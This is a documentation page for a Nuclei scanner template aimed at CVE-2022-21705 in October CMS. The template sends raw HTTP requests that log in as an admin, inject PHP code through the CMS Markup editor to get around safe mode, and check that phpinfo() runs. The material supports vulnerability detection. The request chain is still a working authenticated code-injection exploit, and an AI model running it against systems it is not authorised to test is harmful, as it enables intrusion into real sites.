Skip to content
Nuclei Templates

October CMS - Remote Code Execution

ID: CVE-2022-21705

Severity: high

Author: iPhantasmic

Tags: cve2022,cve,authenticated,rce,cms,octobercms,injection

Description

Section titled “Description”

October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions.

YAML Source

Section titled “YAML Source”
id: CVE-2022-21705


info:
  name: October CMS -  Remote Code Execution
  author: iPhantasmic
  severity: high
  description: |
    October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    The issue has been patched in Build 474 (1.0.474) and 1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe manually to installation.
  reference:
    - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe
    - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22
    - https://cyllective.com/blog/post/octobercms-cve-2022-21705/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21705
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-21705
    cwe-id: CWE-74,NVD-CWE-Other
    epss-score: 0.00522
    epss-percentile: 0.76813
    cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: octobercms
    product: october
  tags: cve2022,cve,authenticated,rce,cms,octobercms,injection


http:
  - raw:
      - | # to obtain session_key and token
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
      - | # to perform authentication and obtain admin cookies
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}}
      - | # to inject php code in Markup editor and perform exploit
        POST /backend/cms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-OCTOBER-REQUEST-HANDLER: onSave
        X-OCTOBER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest


        _session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0
      - | # to obtain theme
        POST /backend/cms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-OCTOBER-REQUEST-HANDLER: onCreateTemplate
        X-OCTOBER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest


        _session_key={{session_key}}&_token={{token}}&search=&type=page
      - | # to access the template page for generated exploit
        POST /backend/cms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-OCTOBER-REQUEST-HANDLER: onOpenTemplate
        X-OCTOBER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest


        _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'function onInit()'
          - 'phpinfo()'
          - 'Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`.'
        condition: and


      # if exploit executes, phpinfo() should now be exposed at the /{{randstr}} endpoint, even though Safe mode is enabled


      - type: status
        status:
          - 200


    extractors:
      - type: xpath
        name: session_key
        internal: true
        xpath:
          - "/html/body/div[1]/div/div[2]/div/div/form/input[1]"
        attribute: value


      # Obtain _session_key for current OctoberCMS session


      - type: xpath
        name: token
        internal: true
        xpath:
          - "/html/body/div[1]/div/div[2]/div/div/form/input[2]"
        attribute: value


      # Obtain _token for current OctoberCMS session


      - type: regex
        name: theme
        group: 1
        regex:
          - '<input\stype=\\"hidden\\"\svalue=\\"demo\\"\sname=\\"([^"]*)\\"'
        internal: true
        part: body


# Obtain current theme used for Markup editor of OctoberCMS
# digest: 490a00463044022025c3debb7bfce2cd0103928b0690bd87ce028bbacb30251a74ebb2b8f13a6a610220339a28215755d0410fcd27a16e5c3547f349658826326c3d7030a6cca78f9f65:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-21705.yaml"

View on Github